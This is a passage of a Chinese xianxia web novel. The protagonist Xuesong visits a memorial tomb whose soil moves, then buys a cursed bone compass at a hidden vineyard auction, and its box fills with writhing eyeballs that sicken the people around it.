凡人的身体可没有修仙者那么强壮。
不过,一般修仙者在天上赶路的时候并不会太着急,以免消耗灵力的速度过快,把自己用到灵力枯竭,不得不掉下去。
所以也不用太担心。
过了一阵子,飞船缓缓往下降,落在了地面上,这里是一片空地,周围看起来和之前那块空地差不多,像是专门为这艘飞船准备的。
同门走在前面,把其他人带了出去,还对雪松招了招手,让他跟上,想了想又觉得他可能走丢,毕竟这里人生地不熟的,其他人也不太顾得上,他要是真走丢了,还得回来找,挺麻烦的。
同门就拉住他,一边往前走,一边说:“你之前看起来挺疑惑的,不知道我们要去哪儿,现在到了地方,你应该看得出来了吧?”
雪松往周围看了看:“阴气浓郁,灵气四溢,普通修士的埋骨之地?空间也有些波动,这是特意为修士埋骨所创造出来的一个,特别宽大的专属空间?”
“不错,”同门点了点头,一脸唏嘘,“这里埋了许多修仙者,有些是寿终正寝,所以还有一副骨头,有些是渡劫陨落,只剩一捧灰,有些连灰也没有,倒是剩了一点东西。”
他顿了顿,神色复杂:“修仙者逆天而行,必定不能顺应人欲的,什么亲朋好友,一概皆无,最后那些东西,也就放这儿了,久而久之,这里的灵气阴气也就旺盛许多,有点像鬼修之所了。”
同门摇了摇头,自嘲笑了笑:“如果他们谁有机缘,说不定还能在此复生,到时候从自己的坟墓里出来,拿着自己的东西重新踏上修仙之途,也算是,物归原主。”
雪松转头看他,听见他垂着眼睛低声呢喃道:“也不知道我有没有那个机会,不过,以后的事,谁又知道呢?横竖我是算不准的,不知道也就罢了,要是知道了,还不辗转反侧?可叹可惜……”
他说完,又笑了笑,仍然是自嘲的神色。
雪松眨了眨眼睛,觉得自己不该现在盯着他,他看起来不像是有心情回答什么问题的样子。
雪松也不是非要在别人情绪复杂的时候强行打断对方的思绪,因此他收回目光,默默露出若无其事的表情。
毕竟从前几乎没有人对他说什么心里话,他也不感兴趣,更不会问,他对现在这种情况,虽然说不上束手无策,但也算是没有什么应对经验的。
那就还是用老办法,不知道怎么办,就当什么事情也没发生过好了,反正如果别人想提,会自己找他问,如果别人不想提,态度会和他一样。
真要做什么回答,等到别人问他的时候,再回答也不迟。
二人默默走了一段路,同门把雪松带到了一块墓碑前,雪松已经有预感,这里面多半是空的,而这墓碑,大约是为了仙尊。
前面有许多人,一个一个排着队,不知从哪里掏出来一束鲜花,大多是白色的,也有黄的,把花放在坟墓边,之后走开。
同门和雪松排在比较后面的位置,同门往前看了一眼,又看了看雪松,发现他两手空空,想起来应该在之前把花给他的,现在有点晚了,但还来得及。
同门从口袋里一掏,掏出来一束早就准备好的小白花,递到雪松手里,低声道:“等会儿你到了坟墓面前,你就把这束花放在坟墓边上,再从队伍让开,路上,我慢慢跟你解释。”
雪松接过那枝花,点了点头,他们很快到了队伍的前面,同门又掏出了一束新鲜的小白花,放在了坟墓前面,之后看向了雪松。
雪松把手里的花放在了墓碑边上,定睛一看,那块墓碑上面写的还真是仙尊之墓,不由得暗自庆幸。
幸好仙尊现在已经没有身体了,不然这里一个墓,那里一个墓,岂不是要碎成一块一块的?这里一块那里一块?这和分尸有什么区别?说不定还是碎尸!
放完花之后,雪松往旁边走去,离开了队伍,同门站在旁边愣了一下,用一种惊讶中带着微妙的期待的目光看着他问:“你不说点什么?”
感情是希望雪松对仙尊说什么?可是能说什么?他们见都没见过!总不能同门也是听了那些传言,觉得是真的才特意把他拉过来的吧?
雪松略略一想,那些传言到处都是,不知有多少人听过,说得有鼻子有眼的,他自己还在某些时候承认过,被同门听见,以为是真的,这种事,还真有可能。
他也不好解释,反正别人也未必信,从前做过许多次,都有点嫌麻烦了,因此无可奈何,十分直白:“我没有什么要说的。”
也不是一定要这么直白,但如果不这么直白,雪松还真担心同门会误会他,其实是心灰意冷或者悲痛欲绝什么的。
天知道根本没有那种可能!他好端端的,干嘛折磨自己?别人不知道,他还能不知道仙尊究竟怎么个事儿?他装都不想装!
同门将信将疑看着他,忽然注意到他脸上,还没来得及完全消下去的红艳艳的眼眶,顿时觉得自己明白过来。
一定是头一回知道这里还有这样的地方在暗暗纪念仙尊,所以太过感动,怕自己一不小心哭出来,根本连更多的话都说不了吧?
在这么多人面前掉眼泪,实在不好意思,所以打算等晚上没什么人的时候再回来,暗中重新祭拜一番?
毕竟,这次来得太仓促,来之前也不清楚具体情况,说不定还以为是被骗了,或者是被糊弄了,也有可能以为只是开玩笑,所以没放在心上,才连祭奠用的花都没有自己单独带一支。
也对!如果稍微打听过,知道一点,那肯定知道,他们这里本来每一次开始的时候都会每人发放一束花,这一次稍微着急了一点,忘了有这回事,大家自己都准备了,也没觉得忘了这回事是多么奇怪,或者需要提醒,就这么直接过来了。
那或许,雪松没有准备花过来,只是因为以为这里可能会发,又或许他什么都不知道,也根本没有打听过,匆匆被拉过来了,准备什么都不知道,如果知道的东西更多一些,就不会这样了。
毕竟是仙尊的未亡人,哪怕这里面什么都没有,只凭这一块坟墓立在这里,他也不可能无动于衷,否则,他的眼睛怎么会现在还是这种又红又肿的样子呢?
以修仙者的体质,雪松的修为,稍微哭一哭,根本不会红眼睛,更不会肿,即使哭得太厉害,又红又肿,过一阵子,最多一刻钟,也会好起来的。
要是过了一个晚上还没好,要么是故意的,要么是心力憔悴,没有办法处理,又或者是,在没人看见的时候一直在哭,都没停过。
如果是故意的,那必定要专门让人看见才行,可是一路上,并没看见他怎么专门让人注意他的眼睛,那应该不是。
如果是心力憔悴,那倒是有可能,可是憔悴到连眼睛都没有办法处理,却要出门,也不太可能。
即使这件事十分重要,也没有这个必要,因为,如果这件事情重要到连眼睛都没有办法处理,那更应该好好整理仪容,怎么可能不去关注自己身上有什么看起来不对?所以这个也不是。
那就只有最后那种情况——
就算体质再好,修为再高,这么伤心,这么断断续续的,这么不加节制,别说过一个晚上,就算过一个月也不会好的,就好像用刀在手上划了一个口子,一结痂就撕开,一结痂就撕开,那过一年也好不了啊!
“那你保重身体。”同门觉得自己想明白了,用温和的目光注视着雪松,一脸我明白你在想什么的表情,点了点头,柔声道。
雪松觉得他怪怪的,但是他只说了这话,就没再说什么,雪松要是就这一句话大说特说,实在不合适,只能暗暗起了一点鸡皮疙瘩,随便点了点头:“我知道了。”
其实这种事情用不着提醒。这要是需要提醒了,多半也没那个处理的力气。他很确信自己有处理的力气。
那他应该是不需要被提醒的那一类,可是在别人眼里似乎不同,他想要解释,张了张口又觉得,算了,万一又被误会了呢?
其实也没什么好解释的,他究竟好不好,自己还不清楚吗?别人就算一时看不明白,还能一直都看不明白吗?
看一眼就知道了的事情是不需要解释的,而像保重身体这种事,就是这一类。所以还是不要解释了。就当这件事情已经过去了吧。
雪松保持了沉默。
同门见他不说什么,只当他是默认了,心中暗道,果然!他就是想趁今天夜里没什么人的时候,再仔细过来祭拜一番,免得被人看见情绪失态,还要别人来安慰,耽误了别人会很不好意思,不如自己一个人的时候,随意自在些。
更何况,要论亲疏远近,他们这些和仙尊几乎可以算得上是陌生人的宗门同门,跟雪松这个仙尊的未亡人比起来,显然是要更加疏远的。
那道侣之间的窃窃私语,他们这些陌生人不该知道的,最好还是不要知道,免得雪松不好意思说,他们也不好意思听,大家都不自在。
不愧是仙尊的未亡人!考虑事情如此周到!不仅考虑自己,而且,连别人也考虑进去了!仙尊真是有一个很好的道侣呢!真叫人羡慕!
准备离开的时候,雪松往那个仙尊的空坟墓看了一眼,忽然发现不对,那坟墓的土怎么在动?看起来就好像是底下真埋了什么人,这个时候,正在想办法从里面出来一样?!
雪松倒吸一口凉气,不会是真的埋了人吧?不应该呀?!仙尊的尸体确实一点都没剩下……难道埋的是其他人?不合适吧?!
谁会把别人的尸体埋到仙尊的坟墓里面去?这是经过同意的事吗?埋的究竟是谁呀?死人还是活人?
如果是死了不应该会动,如果是活的,又怎么会被埋在里面?而且现在还活着?看周围人的样子,他们常常来,固定时间集体来,不定时自己来——
如果有人在里面,他们不应该不知道?那他们应该也不会同意谁暗中把别人的尸体埋进仙尊的坟墓里吧?这究竟怎么回事?!
同门正在往前走,走了一段路,发现雪松不见了,转过头来一看,雪松正站在不远处看着仙尊的坟墓,微微皱眉,惊讶中带着疑惑,不满中带着惊吓,似乎有什么不对。
他又走回来,站在雪松旁边问:“怎么了吗?”他一边说一边顺着雪松的目光,重新仔细打量了一番仙尊的坟墓,没发现什么。
雪松若有所思看向他问:“你没发现什么?”
这话听起来像是你应该发现一点什么才对。
同门感到了疑惑,挑了挑眉,重新看了过去,这一次好巧不巧,他也看见了,坟墓的土在动,不由得倒吸了一口凉气,露出比雪松更加惊讶的表情,瞪大了眼睛,一时说不出话来。
不过他回过神来,第一反应先转眼珠,假装没什么事,但又知道肯定不会没事,一点也不希望被人发现,左右看了看周围,发现好像没什么人注意到,才勉强松了一口气,仿佛负责打理坟墓的人是他而如果被人发现那底下有什么他就倒霉了一样。
雪松看着他这副反应,眯了眯眼,觉得事情比想象中更加蹊跷一点,虽然也未必是多大的事,但层层加码可就不一样了。
究竟是真有人还是真没有人?同门这种反应,实在叫人看不出来。
雪松想了想,干脆直接问了:“那里面有人吗?”
同门愣了一下,大吃一惊,几乎要上来就把他嘴捂住,不过幸好看见周围还有那么多人,他并没有真的动手。
而且他在最后一刻险之又险想起了雪松的身份,也想起自己真要是这样上手去,也不太合适,才把手背在背后,皱着眉头,低声嘱咐说:“怎么可能有呢?不要胡说!”
同门嘟嘟囔囔:“想也知道吧?仙尊早就死了!就算是尸体也该腐烂了。不会有能动的!更何况,仙尊根本没留下尸体,这里当然是空的,怎么会有人?上哪儿去找人?总不能把活人埋在里面吧?那像什么?!”
雪松摇了摇头,似笑非笑看着他说:“那要是有人藏在里面呢?要是有人瞒着你往里面埋了半死不活的人呢?你知道还是不知道?”
“那怎么可能?!”同门大惊失色,顺着他的说法想了一想,忍不住皱起眉头,诧异中带着愤怒:“谁会平白无故藏在别人的坟墓里?要是有人瞒着我,把半死不活的人埋在里面,总不能也瞒着别人吧?大家都不知道吗?这不可能!”
他狠狠摇了摇头:“这绝对不可能!”
雪松若有所思,又问他:“那你刚才确实是看见了吧?坟墓里面好像有什么东西在动?”
他打了个哆嗦,疑神疑鬼似的左右看了看,一边往雪松身边靠近,一边低声道:“看见了,我会去调查的,拜托你,不要把这件事情告诉别人,我调查完了,一定第一时间告诉你消息好吗?”
他叹了一口气,苦着脸说:“不是我觉得他们不能知道,而是这件事就不适合让很多人知道,如果大家都知道了,恐怕会闹起来,相互怀疑,对墓园不好,对大家的关系也不好。
而且我确实有负责一点这类的事情,如果真有什么事,我是要担责的,我希望什么事情都没有,这样就不必惊动大家。
但如果真有什么事,我也希望我能先处理,如果是小事,大家也都不必知道了,不是很好吗?担惊受怕并不是什么好事。”
雪松注视着他,神色十分平静问:“你是觉得事情被别人知道了,你会被指责?我不会告诉别人,但你要说话算数,有消息第一时间告诉我,毕竟——”
毕竟仙尊的坟,就是雪松的墓,真要是有什么事,雪松也不能眼睁睁看着,如果没有什么事,当然最好。
同门连连点头,兴高采烈毫不犹豫,生怕他改了主意:“我明白!我说话算数!我今天把大家送回去,立刻就开始查!有消息立刻告诉你!”毕竟你是仙尊的未亡人,你有权利知道这个,更何况你还是发现者,想瞒着你也没招!
雪松点了点头:“那我就回去期待你的消息了,你知道怎么联系我吧?”
“我知道。”同门点了点头,为了以防万一,还拿出身份牌,和雪松的牌碰了碰,这样之后他们要联系就方便多了,直接用身份牌就行,这也是宗门的便利和联络方式之一。
之后,众人上了飞船,回了宗门,雪松把衣服还了回去,回到洞府里休息,同门单独回到了之前的墓园里,开始准备检查坟墓。
第二天一早,雪松从打坐中醒了过来,听见有人敲门,打开门一看,是一只白色的千纸鹤,千纸鹤见他开了门,在他面前飞了飞,向他问:“时间快到了,你不去吗?”
雪松抓住那只千纸鹤捏在手里,发现这就完全是纸的触感,又捏了两下,和纸一样薄,千纸鹤在他手里扭了两下,挣脱了他的手指飞了起来,又回到半空中向他问:“你去不去?
看在你是第一次,从前没有去过的份上,我才专门过来找你的,你要是不去我就走了,你要是愿意去,我给你带路?像你这种从来没有去过的人,第一次去是很容易迷路的哦!”
千纸鹤说着在半空中又转了一圈,看起来是准备走了。
雪松想到用不了多久就要去秘境,参加一下拍卖会也没什么,说不定能从拍卖会买点什么便宜货带走到秘境去用。
虽然这种可能很低,但是万一呢?谁也说不准!不去白不去。再说了,他们专门派人来送宣传单,又让千纸鹤来接,他不去多不合适!
雪松点了点头:“那就请带路吧。”
千纸鹤在前面飞了起来,一边飞一边转头看他,向他闲聊问:“你是怎么发现我们的?”
雪松沉默了一瞬回答:“我没有发现过你们,是你们的人之前送上门来,告诉我有一场拍卖会在葡萄园,我才知道的。”
千纸鹤点了点头:“那就是我们找你宣传的!”
雪松好奇问:“你们还找人宣传呢?”
千纸鹤发出唧唧唧的笑声:“我们当然要找人宣传!要是没有人去,不就没有客人,没有钱?那不就办不下去了?要是一个人也没有,那全是员工和老板,光开着门瞪眼也不行啊!有些人还会带东西去呢!那当然要找人宣传了!没有宣传就没有人!没有人就要倒闭了!”
雪松点了点头,又问:“那你们那平时人多吗?”
千纸鹤转了个圈儿,笑着说:“我们那儿,就和赶集似的,有固定的开关时间,开的时候找人进,快要关的时候请人走,刚开门和快关门的时候人都不多,中间比较热闹,再加上最近宣传,人挺多的,不过你放心——”
千纸鹤飞着飞着,特意落在雪松肩膀上,踮着脚尖似的靠近他的耳朵,像一只抱着草的蚱蜢一样说:“我们那挺安全的,没什么危险,你要是想隐瞒身份也完全可以,人多起来,你藏在里面就像是一滴水掉进了海里,反而不好找,挺适合不想被发现身份的人去逛街的。”
雪松眨了眨眼睛:“适合不想被发现身份的人?那他们一定会想去看看了?那样的人一定很多?”
千纸鹤昂头挺胸说:“那当然了,我们那里那么热闹,怎么会有人不想去呢?多有意思啊!还有那么多的东西呢!其实不止拍卖会,旁边还有赶集的,大家可以随意摆摊,想买卖什么都行!可好玩了!”
千纸鹤说着又像个溜溜球似的在半空中转起圈来:“说不定你还能在里面找到自己在外面找了很久但是没有找到的想要的东西!”
雪松将信将疑,点了点头问:“那不想被发现的人多了聚在一起,发生什么事谁又知道?出了危险抓不住怎么办?”
千纸鹤愣了一下,笑了起来:“那么多人,发生事情了,总有人知道,出了危险,也不用我们去,早晚有抓住的时候。”
雪松若有所思,点了点头,并不是很信,不过没有再问什么,千纸鹤一路把他带到了葡萄园。
葡萄园的架子一层接着一层,葡萄藤从半空中垂下,一条接着一条,有些长着饱满美丽的葡萄,有些只是绿油油的藤,有些藤上开着小花,好像根本不是同一片区域。
雪松往周围张望了一下,千纸鹤对他解释说:“那边长满葡萄的藤,用不了多久就要采摘了,这边全是叶子的,是用来遮阴避暑的,那边长花的,是用来赏花的。
开花时间,结果时间都不一样,但是最后都要结果,所以才叫葡萄园,时间不一样,是为了方便来参观的人,也是为了,收葡萄的人不用忙。
一批一批的长葡萄,收起来就也是一批一批的,摘一阵休息一阵,不用担心长出来的葡萄放久了坏掉。”
雪松点了点头,千纸鹤把他带到了一个葡萄架子底下,又飞了一段,对他指着那块砖头砌的墙说:“你之前是用哪只手接我们的宣传的?把那只手抬起来,对着墙给我看看?”
雪松抬起那只手,千纸鹤绕着那只手转了转,那只手上忽然亮起一个白色的印记,闪了一下,面前的墙就悄无声息,挪开了一扇门。
千纸鹤往里飞去,一边飞一边对他招翅膀说:“请跟我来!快到了!”
雪松跟着千纸鹤经过了那条墙后的通道,千纸鹤停在一个拉环上面,雪松按照千纸鹤的要求把那个拉环拉起来,底下是一层台阶。
千纸鹤飞了进去,雪松往下走,走到一片平地上,又是一扇门,推开那一扇门之后,外面是一个集市。
“你要遮掩一下身份吗?随便扣个面具什么的?如果不需要,直接走出去就行。如果需要,旁边墙上挂着面具和斗篷,你出来的时候挂回去就行。”千纸鹤在门口看着他说。
他往旁边一看,看见墙上果然挂着面具和斗篷,取下来,把面具扣在脸上,斗篷披在身上,再往刚才的位置一看,挂这些东西的是一个敲在墙里的钉子。
雪松穿戴好之后,往门外走去,门外的集市还挺热闹,不过不挤,是一种正合适的状态,他往两边看了看,摆摊的人挺多,东西倒是不稀奇,大多数外面都见过的,他没太大兴趣。
经过了集市,有一个房子开着门,亮着灯,门口有人站着,有人进去的时候,就请人抬一下手,看见手上有印记,就把人放进去。
雪松好奇里面有什么,就走过去,给那个门口的人看了一下自己手上因为接宣传出现的白色印子,那个人点了点头,让他进去了。
他走进去才知道原来这里就是拍卖会现场,他还以为拍卖会必须得是多么高大的建筑,现在想想,拍卖会地点都定在葡萄园了,能有多高大?葡萄还要位置呢。
他找了个位置坐了下来,准备看看这里的拍卖会究竟什么个流程,没过多久,许多人进来找了座位,位置都满了,台上出现了主持人。
主持人穿着一身黑衣服,同样戴着面具,上了台之后,就对底下的人说:“欢迎各位来到今天的拍卖会现场,现在我宣布拍卖会开始!”
底下的人鼓起掌来,好像有人十分熟悉流程,混在人群里,起一个带头的作用,雪松也就跟着拍了拍手。
主持人等掌声停息之后,开始说:“那接下来请大家欢迎第一件拍品吧!”他开始详细介绍那东西叫什么名字,有什么作用。
底下的人有些认真听着,有些在走神,雪松对拿出来的东西不感兴趣,因此坐在那里,开始考虑如果要在这买东西,会不会太贵,买不买得起,用不用得上,什么东西比较合适带走。
他手上有武器,有储物戒指,有装饰,有防御,那他也许需要一个指南针之类的,能让他在秘境里找到宝贝的东西?
最好是一次性用品,这样不需要太贵,也不要活的,虽然听说过有些寻宝鼠之类的宠物可以帮忙找到好东西,但是,饲养宠物,他不想干。
之前那只和仙尊有关系的红色鸟,现在都还在长青那里,也不知道长青放到什么地方去了,反正他也没怎么问,他也不在乎。
那么大一只鸟,之前都过下来了,现在还能活不了吗?横竖契约上也没什么毛病,他有许多事要忙,也顾不上,就放在长青那边吧。以后有用处了再问不迟。
虽然他并不觉得那只鸟能对他有什么用处,真有什么事需要用的时候,也未必赶得上找到那只鸟,还不如另外找办法,但有总比没有好。
正在想着,拍卖会台子上的主持人忽然说:“那么,请各位和我一起欢迎下一件拍品吧!”
一只人那么大的兔子玩偶,推着一辆小车咕噜噜就过来了。车子上罩着红布,兔子玩偶伸手把布扯了下来。
红布底下,是一个四四方方的水晶箱子,箱子并不大,而且透明,可以让人从外直接看见里面,里面是一只米黄色的骨质指南针。
虽然说是指南针,但只是看起来像,因为那东西圆圆的,里面是一只闭着的眼珠,得亏是有眼皮的,不然,看起来还挺惊悚。
主持人笑眯眯对台子底下的人解释说:“这就是我们的新拍品了!龙骨指南针!
外壳是用一整节的龙骨做的,坚固耐用,高端大气,有一点含而不散的淡淡的龙威,可以震慑野外的怪物。
里面的眼睛,是一只对宝物异常执着的怨魂的眼睛,而这只怨魂生前,是一只非常擅长于寻找宝物的怪龙!
我们特意在拍卖会开始之前测试过,只要持有这支指南针,按照指针里面的眼珠的方向寻找,一定能至少找到附近的一样宝物!
想要寻宝的朋友们有福了!”
雪松有一点想要这个东西,但是又觉得自己的钱恐怕不够,就听见主持人大声说:“现在!一万起拍!每次加价至少一千!请开始吧!”
有人问:“等一等!这东西是拿起来就可以直接用吗?还是有什么限制?你怎么不说?这肯定和普通的指南针不一样吧?”
主持人一拍脑门,笑眯眯说:“您不提醒我差点就忘了!是有这么一回事!这只指南针必竟是用龙骨和怨魂的眼睛做的,稍微有些凶煞之气,身体弱的人拿到容易出幻觉,晚上还有可能做噩梦,但只要修为足够,谨慎小心一些,是不会有事的!”
人们面面相觑,主持人问:“那现在开始竞拍没有问题了吧?我开始了?”没有人回答,主持人拿起小小的锤子,敲了一下他面前的贝壳,那是一只背面朝上,扣在桌子上,纹路清晰可见,有些颜色发灰的老贝壳。
锤子敲上去,发出了敲锣似的声音,全场的人都听得见,甚至那声音隐约还有环绕的效果,也不知道是贝壳的作用,还是房间的作用。
总之,竞拍开始了。
在一两个人举价之后,场面就陷入了冷淡,眼看着,几乎没有人竞争了,雪松数了数自己的钱,觉得好像勉强够,也开始试图购买。
最后那个出价的人看了他一眼,和他争了一两下,发现他没有放弃的意思,就自己放弃了。
主持人开始问:“好的,请问还有人要加价吗?”他说完敲了一下贝壳,没有人讲话,他又问:“请问还有人想加价吗?”
仍然没有人回答,他敲了一下贝壳,问了第三次,三次都没有人回答,他也敲了三次贝壳,最后说:“那好!恭喜这位客人!你拍下了这只龙骨指南针!这是属于你的了!
东西会马上送到后台打包,等拍卖会结束之后,您付了款,就可以把东西带走了,当然,你也可以选择现在到后台去,付了钱一样可以带走!
只不过需要稍稍等一下打包的时间。毕竟东西刚刚送回去嘛。我们也需要精致的打包来向客人展示我们感谢客人的诚意!谢谢理解和配合!”
主持人一边说,旁边的那只玩偶兔子一边把红布重新盖回去,又推着那辆小车,咕噜噜的,一路发出响声,旁若无人向后台走去。
雪松开始有点想要现在就到后台去了,他对别的东西并没有那么感兴趣,何况,他觉得他的钱也不足以支撑他买很多东西。
还是节省一点比较好。
经过一段坐立不安的时间之后,主持人敲了敲桌子上的小贝壳,对底下的人说,拍卖会暂停,大家可以去休息,过一会儿再开始。
雪松立刻打算到后台去,付了钱,拿了东西就走,他离开拍卖会的会场,走到了走廊里,感觉有点迷路了,一只红色的兔子玩偶走过来问他:“你要干什么?”
他向那只玩偶问:“你知道后台在哪儿吗?我刚才拍下一个东西,我想去拿。”
玩偶像一只真正的兔子一样跳着对他说:“你跟我来,我带你去。”
之后,玩偶把雪松带到了后台,一只白色的兔子走过来问:“干什么来的?”
雪松说是来拿东西的,兔子看了看他,掏出一块黑色的像墨砚一样的石头,不过那石头中间微微凹陷,像是专门放手的地方,而不是专门磨墨的,并且对他说:“把你进门的时候用的那只手抬起来,在这块石头上按压,我要确认一下你的身份。”
雪松把手抬了起来,石头亮了一下,兔子收回石头看了看,点了点头:“原来你是买龙骨指针的那个客人!东西已经打包好了,跟我来吧。”
雪松跟着那只白兔子走到后台里面,白兔子把一个打包好的盒子抬起来看了看,之后交给他说:“这里面就是你买的龙骨指针了。”
雪松看着严严实实的盒子,想要检查,又觉得拆开太可惜了,也不知道会不会让兔子觉得不高兴,犹豫着碰了碰。
兔子看他的样子,知道他在想什么,对他说:“你可以拆开来看,离开这里我们是不负责的,所以,尽管拆开来看吧,有什么问题当场指出来,要是没有问题就带走,之后就别找我们了。”
雪松点了点头,把盒子拆开,里面确实是之前看见过的龙骨指针。《 》
80-85
第81章
雪松付了钱, 把东西重新装回了盒子里,正要盖上盖子,忽然感觉盒子晃动了一下, 他有些惊疑不定, 抬头看向站在对面的白兔子,以示询问:怎么回事?这是怎么回事?你这个盒子还有惊喜彩蛋的功能吗?我就要拿走了!你把盒子晃一晃是什么意思?
白兔子一脸迷茫眨了眨眼睛, 同样看见了刚才盒子晃动的情形, 但很清楚自己并没在盒子上做什么手脚。
毕竟,这是要给客人带走的东西, 真要是做了什么,被人查出来, 岂不是毁坏自己的名声吗?
他还要在这干活呢!平白无故干那种事干什么?又不是每个客人都喜欢玩笑!要是把人惹恼了就不好了!
兔子张了张嘴, 下意识想问, 客人, 你刚才是不是一不小心没拿稳盒子?但是看雪松脸上的表情和自己差不多,白兔子意识到, 这并不是雪松在和他开玩笑。
兔子抿了抿三瓣嘴, 舌头从嘴唇的缝隙里出来,舔了舔脸上的汗毛,感觉自己当玩偶这么久了,头一次觉得事情有点古怪。
从前也不是没有古怪的事,但很快就能查清楚,不是意外, 就是有人设计,如果是意外,那谁也不会在乎,如果是有人设计, 那查出来抓了也就好了,不会像现在这样,又像是意外,又像是设计,偏偏,搞不清楚究竟怎么回事,好像怎么都不是。
麻烦!
虽然心里想着,这事似乎不好办,但白兔子犹豫之后,脸上露出了微笑,阳光热烈,如同向日葵,好像这并没有什么大不了的,对雪松热情说:“不好意思,不好意思!这盒子如果不对,我给你换一个吧?”
如果是盒子的问题,换一个大概不会有事,如果不是盒子的问题,那正好把盒子拆开来看看,究竟怎么回事!就看对面心虚不心虚了。
白兔子微笑着,从被木头钉死了的窗户似的眯眯眼里观察雪松的反应,雪松觉得这兔子说的有道理,就把盒子递了过去:“那你换一个吧。”
虽然他有一点怀疑,这兔子是想趁着换盒子的机会把他的东西调包,用假的换成真的来骗钱糊弄他。
但是,刚才盒子是在他的手上出现问题的,他要是不拿出去,好像他真心虚似的,还是检查检查比较好。
万一真有什么危险呢?总不能拿自己的命开玩笑。更何况,他也没有开玩笑的意思。就看能检查出什么了。希望什么事也没有。
雪松把盒子递给了兔子,兔子用十分谨慎的态度注视着那个盒子,好像里面装的是一只炸弹一样,把那个盒子接了过去。
盒子接到兔子手里,兔子觉得好像没有什么,就轻轻晃了一下,理论上讲并不能这样。
因为里面还装着东西,而且刚才被拆开过,没有什么可以保证东西不受影响的存在,这样摇晃盒子,很容易造成盒子里面的东西的损坏。
但是摇晃之后,兔子的脸色忽然一变,用飞快的速度毫不犹豫把盒子拆开了,显然刚才的摇晃让兔子察觉了不对劲。
自主的摇晃和非自主的摇晃有一个区别是,自己制造的摇晃可以控制力度,感知情况,也并不会引起任何惊慌的情绪。
兔子刚才摇晃,感觉到盒子里有密密麻麻的,圆滚滚的东西在,但他记得自己并没有往里面放,刚才雪松拆开盒子的时候,这里面也应该没有那些东西才对。
那是什么东西在晃呢?
兔子把盒子拆开了,里面是一大堆圆滚滚的眼珠,一团接着一团,从盒子里挤了出来,一边在被看见的时候发出叽里咕噜的声音,一边因为没有支撑,而啪叽一声掉在地上。
雪松捂了捂嘴,有一点想吐,他是控制住了,但周围的人猝不及防,看见了一大团的眼珠子在地上蠕动,并且一边溢出透明的粘液,一边发出咕叽咕叽的声音,立刻就开始呕吐了。
他们一边哇哇大吐,一边试图离开,但是,显而易见,因为太过猝不及防,他们根本没有抵抗能力,走了两步,就开始腿软,身体不由自主颤抖起来,想要伸手,扶着一点什么来维持平衡。
偏偏有些人连看都看不清楚,眼前的东西一阵一阵,模糊摇晃又重叠,他们只会把东西打翻,根本抓不住什么,除非是屹立不动的墙。
但即使是碰到墙也没什么用,因为他们会顺着墙,像是软绵绵的果冻一样滑下去倒在地上,就好像集体中毒一样,一动不动瘫在墙角的地面,嘴里还不停发出呕吐的声音。
有些人躺下去的时候已经吐不出什么了,脸色惨白,额头青筋暴起,汗流浃背,手脚抽搐着,好像有一根中空的白色管子正在从他们的喉咙里进出,浑身上下散发出痛苦的气息。
有些人的修为高一些,立刻就恢复过来了,有些人的修为弱一些,没坚持一会儿就晕倒了,两眼一闭,一动不动,像一条被拍晕的死鱼一样微微抽搐,以至于在他们的衬托下,地板和墙面都看起来有些像砧板了。
白兔子做了一点心理准备,又有一点修为,所以虽然同样猝不及防,但抵抗力比周围的人要好一些,深吸一口气,除了脸色惨白以外,其他还好,没有呕吐的症状,就是一直拿着那个盒子,两条胳膊有不由自主的颤抖。
他发现这一点之后,立刻把盒子放在了旁边的桌子上,拍了拍手,才发现那盒子里面的眼珠子溢出来的时候,从他的胳膊上擦过去了,他胳膊上的毛毛都湿了。
他皱着眉头,擦了擦,发现一时半会儿擦不干净似的,也就放弃了,他不是一定要现在把这东西擦干净,反正看起来也不太可能。
他立刻从旁边重新掏了一个小盒子,又掏出一双手套,把手套戴在手上,把戴了手套的手伸进眼珠子里面,叽里咕噜,摸索了一阵,啪叽一声,从里面拔出了,本来应该一开盒子就看见的龙骨指针。
指针除了黏糊糊的,好像被粘液洗了个澡,其他一切正常,不管是样子还是质感,都不受影响,雪松看这种情况松了一口气。
虽然这时候庆幸指针没有坏,有些不太好似的,但是,毕竟他刚刚才付钱,正要把东西带走,要是这个时候坏了东西,那对他来说,可是太可惜了!
指针里面的眼珠子转来转去,和之前安安静静的样子完全不一样,甚至隐约透露出一点邪恶的笑意,就好像看见周围有许多人受到自己的影响而感到非常高兴一样。
白兔子把指针捏了捏,指针的外壳仍然是坚硬的,没有什么奇怪的增生物,白兔子立刻把这个指针塞进了刚才拿出来的小盒子里。
这个小盒子是完整干净,而且没有任何其他东西在的,除了边缘有一点颜色之外,其他的大部分的面积都是透明的,或许本来就是为了方便观察而存在的东西。
白兔子把指针塞进盒子里之后,确认盒子封闭,没有异常,口中喃喃念了咒语,那盒子咔嚓一声响,表面上闪了一层黄光,就好像是刚才突然上了个锁一样。
白兔子对雪松点了点头,语速飞快解释道:“不好意思,现在的情况,这个东西您暂时不能带走,我要送去检查科检查一下,只要检查无误,很快就送回来!当然你也可以一起去,时间紧,我就不说太多了,不好意思!”
雪松点了点头,白兔子用手肘按了一下自己胸前的那个布艺质感的紫色葡萄徽章,那东西在之前看起来完全只是一个装饰。
但是在被白兔子按了一下之后,就散发出微弱的紫色的光芒,看起来还挺漂亮,随后发出了滋滋的响声,大约是等待联系的意思。
白兔子一边往外走一边说:“检查科,检查科!快点到后台来!这里有一个东西稍微好像有点失控!不知道怎么回事!你们找人来把东西带走!记得顺便让医疗科的人也来一下!这里躺了一地呢!”
他一边说一边咳嗽起来,不知怎么,突然捂住了嘴,哇哇两声,之后把手从嘴边取下来,定睛一看,手心里多了两颗圆滚滚的正在转动的,黑白分明的眼珠子。
那两颗眼珠子在他看过去的时候,还对他露出了一丝微妙的笑意,仿佛试图眨眨眼睛,伪装成一个惊喜一样。
兔子连忙把手心里的眼球甩出去丢在地上,把手也在半空中甩了甩,试图摆脱那种黏腻的糟糕的感觉,差点把手套甩出去,又连忙把手套按住,才要往外走,还没到门口,就往后退了两步,直勾勾看着门外面。
雪松往前走了两步,冲着他面前看去,发现门外面来了两拨人,一波人浑身上下都是白色,身上有股药味,多半是医疗科的。
另外一拨人,全副武装,把浑身上下的每一寸皮肤都遮起来了,颜色是黑的,布料质感偏硬,有一点像是软质的布甲,胸口也有很小的紫色葡萄图案,看起来像布艺贴纸,但是不是真的布艺贴纸就不知道了。
他们身上闻起来有股消毒水似的东西的味道,那气味有一点刺鼻,让人忍不住打喷嚏,有种生人勿近的感觉,那他们应该就是检查科的了。
